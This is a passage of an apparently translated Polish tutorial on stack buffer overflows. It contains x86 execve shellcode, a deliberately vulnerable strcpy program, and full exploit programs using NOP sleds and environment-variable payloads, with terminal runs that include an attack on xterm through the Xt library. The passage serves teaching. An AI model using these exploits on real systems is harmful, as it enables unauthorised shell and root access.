-------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Nasz ulepszony kod: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bajty popl %esi # 1 bajt movl %esi,0x8(%esi) # 3 bajty xorl %eax,%eax # 2 bajty movb %eax,0x7(%esi) # 3 bajty movl %eax,0xc(%esi) # 3 bajty movb $0xb,%al # 2 bajty movl %esi,%ebx # 2 bajty leal 0x8(%esi),%ecx # 3 bajty leal 0xc(%esi),%edx # 3 bajty int $0x80 # 2 bajty xorl %ebx,%ebx # 2 bajty movl %ebx,%eax # 2 bajty inc %eax # 1 bajt int $0x80 # 2 bajty call -0x24 # 5 bajtow .string \"/bin/sh\" # 8 bajtow # 46 bajtow w sumie "); } ------------------------------------------------------------------------------ Nasz nowy program testowy: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Pisanie Exploitow ~~~~~~~~~~~~~~~~~~ (albo 'how to mung the stack') ~~~~~~~~~~~~~~~~~~~~~~~~~~ Sprobujmy wszystko podsumowac. Mamy shellcode. Wiemy ze musi on byc czescia ciagu ktory zostanie uzyty do przepelnienia bufora. Wiemy ze musimy tak zmienic adres powrotny zeby wskazywal do bufora. Nastepny przyklad zademonstruje wszystkie te punkty: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ To co zrobilismy to zapelnilismy tablice large_string[] adresem buffer[], ktory jest buforem przechowywujacym nasz kod. Nastepnie kopiujemy nasz kod na sam poczatek large_string[]. strcpy() skopiuje wtedy wtedy large_string do buffer bez sprawdzania granic tablicy, przepelni bufor i nadpisze w ten sposob adres powrotny funkcji adresem do naszego kodu. Kiedy main dojdzie do konca i bedzie sie starala powrocic, skoczy do naszego bufora i odpali powloke. Problemem z ktorym sie spotykamy probujac przepelnic bufor jest to iz nie wiemy pod jakim adresem w pamieci bedzie nasz bufor, a co za tym idzie, nasz kod. Odpowiedzia jest to iz dla kazdego programu stos bedzie zaczynal sie od tego samego adresu. Wiekszosc programow nie kladzie na stos wiecej niz kilka set albo kilka tysiecy bajtow. Tak wiec wiedzac gdzie stos sie zaczyna mozemy zgadywac gdzie moze byc bufor ktory chcemy przepelnic. Tutaj masz maly program ktory wypisze swoj wskaznik stosu: sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Przyjmijmy ze to program ktory chcemy przepelnic: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ Mozemy stworzyc program ktory jako parametr przyjmuje rozmiar bufora, i offset od wlasnego wskaznika stosu (sadzimy iz wlasnie tam lezy bufor ktory chcemy przepelnic). Umiescimy ciag przepelnienia w zmiennej srodowiskowej tak aby mozna bylo latwo nia manipulowac: exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Teraz mozemy zgadywac rozmiar bufora i offset: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Jak widac nie jest to efektywny proces. Trafienie w odpowiedni offset nawet znajac poczatek stosu jest prawie niemozliwe. W najlepszym przypadku potrzeba kilka set, a w najgorszym kilka tyciecy, strzalow aby trafic w ten wlasciwy. Problem tkwi w tym iz musimy znac *dokladny* adres naszego kodu. Jesli pomylimy sie chocby o jeden bajt to dostaniemy albo blad segmentacji albo blad niewlasciwej instrukcji. Jednym z sposobow zwiekszenia naszych szans jest wypelnienie poczatku naszego bufora instrukcja NOP ktora nic nie robi. Prawie kazdy procesor ma odpowiednik instrukcji NOP. Najczesciej jest uzywana do opozniania operacji. Uzyjemy jej i wypelnimy polowe naszego bufora instrukcjami NOP, srodek naszym kodem, a koniec adresem powrotnym. Jesli bedziemy miec szczescie i adres powrotny bedzie wskazywal gdzies do ciagu NOP'ow, beda one tak dlugo wykonywane az procesor natrafi na nasz kod. W architekturze Intela NOP ma dlugosc 1 bajta i szesnastkowo wynosi 0x90. Przyjmujac ze stos zaczyna sie od adresu 0xFF, S oznacza shellcode, a N instrukcje NOP nasz nowy stos wyglada tak: dno DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF szczyt pamieci 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF pamieci buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| szczyt stosu dno stosu Nowy exploit to: exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Dobrym wyborem dla rozmiaru naszego bufora jest okolo 100 bajtow wiecej niz wynosi wielkosc bufora ktory chcemy przepelnic. To pozwoli umiescic nasz kod na koncu bufora dajac nam duzo miejsca na instrukcje NOP, jednoczesnie nadpisujac adres powrotny wartoscia ktora zgadlismy. Bufor ktory probujemy przepelnic ma 512 bajtow, wiec uzyjemy bufora o wielkosci 612 bajtow. Sprobujmy przepelnic nasz program testowy z uzyciem nowego exploit'a: ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Whoa ! Za pierwszym razem ! Ta zmiana zwiekszyla nasze szanse stokrotnie. Teraz wyprobujmy to na prawdziwym przypadku przepelnienia bufora. Uzyjemy przepelnienia w bibliotece Xt do celow demonstracyjnych. W naszym przykladzie uzyjemy programu xterm (wszystkie programy zlinkowane z Xt sa podatne). Musisz miec uruchomiony X serwer i musi on pozwalac na polaczenia z lokalnego hosta. Ustaw swoja zmienna srodowiskowa DISPLAY odpowiednio. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤ ¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H ¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿ H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿ Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Eureka ! Mniej niz tuzin prob i trafilismy w magiczna liczbe. Jesli xterm bylby zainstalowany z wlaczonym bitem SUID to bylby root shell. Male przepelnienia bufora ~~~~~~~~~~~~~~~~~~~~~~~ Beda sie zdarzac sytuacje kiedy bufor ktory probujesz przepelnic jest tak maly iz kod zawarty w nim nadpisuje adres powrotny dowolnymi instrukcjami zamiast odpowiedniego adresu, lub ilosc NOP'ow ktore mozesz wstawic do bufora jest tak mala iz trafienie w odpowiedni offset jest prawie niemozliwe. Aby uzyskac powloke z takich programow trzeba bedzie pojsc inna droga. To specyficzne podejscie dziala tylko wtedy gdy masz dostep do zmiennych srodowiskowych programu. To co zrobimy to umieszczenie naszego kodu w zmiennej srodowiskowej, a potem wykonanie takiego przepelnienia ktore bedzie wskazywalo wlasnie na nia. Taka technika zwieksza takze znacznie szanse na trafienie odpowiedniego offsetu poniewaz zmienna srodowiskowa moze byc tak duza jak chcesz. Zmienne srodowiskowe sa przechowywane na szczycie stosu kiedy program jest uruchamiany, jakiekolwiek modyfikacje wprowadzone pozniej przez setenv() sa juz umieszczane w innym miejscu. Stos na poczatku wyglada wiec tak: NULLNULL Nasz nowy program bedzie pobieral dodatkowy parametr, rozmiar zmiennej zawierajacej shellcode i NOP'y. Nasz nowy exploit wyglada teraz tak: exploit4.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Wyprobujmy nasz nowy exploit z naszym podatnym programem testowym: ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ Dziala jak nic. Teraz wyprobujmy go na xterm: ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name "°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ 